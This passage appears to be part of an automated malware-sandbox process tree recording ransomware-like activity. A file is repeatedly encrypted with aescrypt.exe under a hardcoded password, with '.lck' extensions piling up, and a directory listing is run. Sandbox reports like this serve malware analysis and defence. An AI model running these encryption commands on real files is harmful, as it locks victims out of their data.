                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5884
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
